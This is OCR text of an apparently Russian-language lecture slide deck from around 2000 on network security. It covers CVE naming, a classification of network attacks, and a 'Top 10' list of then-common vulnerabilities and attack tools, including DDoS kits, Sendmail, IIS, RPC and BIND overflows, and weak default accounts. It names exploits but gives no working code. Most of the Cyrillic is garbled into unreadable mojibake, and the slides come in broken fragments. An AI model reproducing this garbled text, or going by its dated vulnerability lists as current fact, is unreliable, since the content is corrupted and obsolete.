NCTOYHMK BO3HUKHOBEHUSA: OLUMOKKN OOCNyXUBaHUA




Common Uulnerabilities and Exposures

m The Key to Information Sharing

EovHaa cuctema HammMeHOBaHUN ONS YA3BUMOCTEN

CtaHpgapTHOE onucaHue And Kaxaowu ya3BUMOCTHU

Ob6ecneyeHne COBMECTUMOCTHU 6a3 AaHHbIX YI3BUMOCTEM

http://cve.mitre.org/c

VE
Cnawnpg 56



Common Uulnerabilities and Exposures

CAN-1999-00 Kanaupat CVE
A7

!

CVE-1999-00 UHpekc CVE
b7

http://cve.mitre.org/c

Cnaup 57 ve



Cutyauusa 6e3 CVE

»
-2
Bugtra NT4-SP3and 95
g

[latierra.cl

ISS Lan
RealSecure d
~  CERT Advisory CA-97.28.Teardrop Lan
d
" Cisco Database Impossible TP
Packet
Axent land attack (spoofed
NetRecon SYN)J

YaszsumocTtb Land IP denial of service

Cnaung 58



NMNoapnepxka CVE

ugtra = ISS
g RealSecure

®+ = Cisco Database
.éﬂ Advisory . Axent

NetRecon

CVE-1999-0016 Land IP denial of service

Cnaung 59
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CVE entry

Arbitrary command execution via IMAP
buffer overflow in authenticate command.
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Knaccudukauma
aTtak B |IP- ceTsax
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| 3 no uensim

%

_"HapyweHue Hopma/lbHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

o
/4 I"

xy, _ 7
¢ |

Cnaunpg 62 HAYYHO-UHXXEHEPHOE “MPEOMNPUATVE

: 47«  Knaccudumkauunsa atak

-~




& Knaccudomkayusa atak
:&; no uensim

| "HapyweHue Hopma/ibHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| TNony4yeHue KoHgbuoeHyuasibHoU UHghopmayuu

‘ ‘ ‘ o
g "‘:i‘“\
Y «‘\'?\

N

0P e e e e
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w Knaccudomkayusa atak
:i' no uensm

| "HapyweHue Hopma/ibHO20 (hyHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| TNony4yeHue KoHgbuoeHyuasibHoU UHghopmayuu

_ | Mooubukayusi usu cbasibcuhuxkayusi
KPUMUYHbIX OaHHbIX -

Cnaung 64 HAYYHO-UHXXEHEPHOE “MPEOMNPUATVE



. Knaccudgukauma atak
il no uensm

e

_ | "HapyweHue HopmMma/lbHO20 QYYHKUUOHUPOBAHUS
obbekma amaku (omka3s 8 06¢c/1y)xusaHuu)

| lNony4yeHue KoHuoeHyuaibHoU UHgbopmayuu

| Mooupukayus usu ghbasibcupukayusi
KPUMUYHbIX OaHHbIX

| TlonyyeHue no/iHo2o0 KOHMPOJ/isi Hao

06bBbeKmomMm amaku

Cnaunpg 65 HAYYHO-VHXXEHEPHOE “[TPEAMPUATUE



| Knaccudpnkauusa arak
- MO MECTOHaXOXAeHUIo
"\ atakyiowwero n 06beKTa aTakm

| Amakyrowuli U 06beKM amaku
Haxoosimcsi 8 OOHOM ceaMeHme

e ®:
§ ?
.« | 8 .

| Amakyrowuli u 06bekm amaku
Haxo0siImcsi 8 pa3HbIX ceameHmax

- = Fe
5 5 &)
N \ \
@ < | W
MapLupy-

| TM3arTop
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v

v
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v

Knaccundomkauusa atak no
MexaHu3mMam peannsauuu

[laccusHoe npoc/1ywusaHue

[lodo3pumesibHasi akmusHOCMb (pa3seoka)

becrosie3Hoe pacxodoBaHue BbI4UC/IUME/IbHbLIX
pecypcos (nepezpyska)

HapyweHue Hasuzayuu (/10XXHbIU Mapuwipym)

[posoyuposaHue omkasa o6bekma (KOMNoOHEHMA)

3arnyck kooda (npozgpamMmbl) Ha 06bekme-amaku

HAYYHO-MHXEHEPHOE [1IPEANPUATUE
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Ctatnctuka no
VA3BUMOCTAM
N aTaKkam

3a 2000 ron

UCTOYHMK:
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Top 10

. IIS (Microsoft Internet Information Server)

R 3

2
3
4
5. E-Business Weh Applications
6
7
8
9




Linux Buffer Overflows

o

;‘: Wu-ftp BO

« IMAP BO

e JQpopper BO

e Overwrite stack

e Common script kiddie exploit

e Poor coding standards



. Weak Accounts
3. 1S (Microsoft Internet Information Server)
4. Open Databases
5. E-Business Web Applications

6. Open Sendmail

7. File Sharing
8. RPG




. A Yassumoctu BIND
o |
we BIND ginv
- Compile flag turned on by default, activated
buffer-overflow, client request to server, script
kiddie
e BIND nxt

- Server to server response, buffer handling
overflowable, more advanced

e Exposure outside firewall
e In.Named binary

X Sun.

microsystems




S Top 10
i‘a
| of Service Exploits
2 Accounts
b

3. 1IS (Microsoft Internet Information Server)
4. Open Databases

5. E-Business Weh Applications

6. Open Sendmail

7. File Sharing

b



N«RPC (Remote Procedure Calls)

e

e rpc.cmsd (sun-rpc.cmsd) s

e rpc-statd (sun-rpc-statd) %’Sgﬂ
e Sadmin (sol-sadmind-amslverify-bo)
« Amd (amd-bo)

e« Mountd (linux-mountd-bo)
e Major script kiddie fodder
e Helped Enabled DDOS




O
|’ \
: Accounts

3. IS [(Microsoft Internet Information Server)
4. Open Datahases
5. E-Business Weh Applications

6. Open Sendmail

7. File Sharing



_eh File Sharing

e NFS

e Impact is Affecting
Cable Modem and DSL Users

e Sensitive info-1.e., Banking account
e Backdoor install
e + + Rhosts gna Unix - cepBepoB




v
-

2
3. IS (Microsoft Internet Information Server)
4. Open Datahases

5

. Open E-mail (aneKTpoHHad noutal

€



DNEeKTPOHHaA noyTta

N\x

‘%endmall Pipe Attack (smtp-pipe)

Sendmail MIMEbo “root access”
(sendmail-mime-bo?2)

Incoming viruses, LOVE

Many localhost getroot exploits for
sendmail

Attacks may by-pass firewalls that allow
iIncoming email directly to internal



- Top 10
\3

I:Qi service Exploits

3. IS (Microsoft Internet Information Server)

4. Open Databases

5. E-Business Weh Applications




. _aE-business Web Applications

N},

?NetscapeGetBo (netscape-get-bo) “control
server”

e HttpIndexserverPath (http-indexserver-path)
“path info”

e Frontpage Extensions (frontpage-ext) “readable
passwords”

e FrontpagePwdAdministrators
(frontpage-pwd-administrators) “reveal p

Netscape

Netcenter




Top 10

\ . -
IQI Service Exploits

3. IS (Microsoft Internet Information Server)

4. Open Databases




34" Open Databases
‘.

Oracle default account passwords
e Oracle setuid root oratclsh
e SOL Server Xp_sprintf buffer overflow
e SOL Server Xp_cmdshell extended




e Top 10

3. |IS (Microsoft Internet Information Server)




1S (Microsoft Internet Information
Y Server)

e RDS

e« HTR

« Malformed header

« Htdig Remote Shell Execution

e PWS File Access

e CGI Lasso “read arbitrary files”

e PHP3 safe mode metachar remote execution
e PHP mlog.html read files



e Top 10

2. \WWeak Accounts (cnabbie naponul




Chnabble naponn

e BlOgXKEThI MO yMONYaHuio  EHIINAAT
- RO ML
- Servers

e No set Passwords for admin/root
accounts

e SNMP with public/private community
strings set



P Top 10

1. Denial of Service Exploits




ATakn «Denial of Service»

e Trinity

e TEN

e TFN2k aij

e Trin00 TN CNNJ
e Stacheldraht

e FunTime

- Windows platform (W9x/2K/NT)
- Preprogrammed for specific time and target

e All are distributed for maximum effect



. Denial of Service Exploits ——
2. Weak Accounts

3. IIS (Microsoft Internet Information Server)

4. Open Datahases | ' —
5. E-Business Web Annlictions
. Open E-mail

7. File Sharing

3. RPC

9. Bind

10. Linux Buffer Overflows




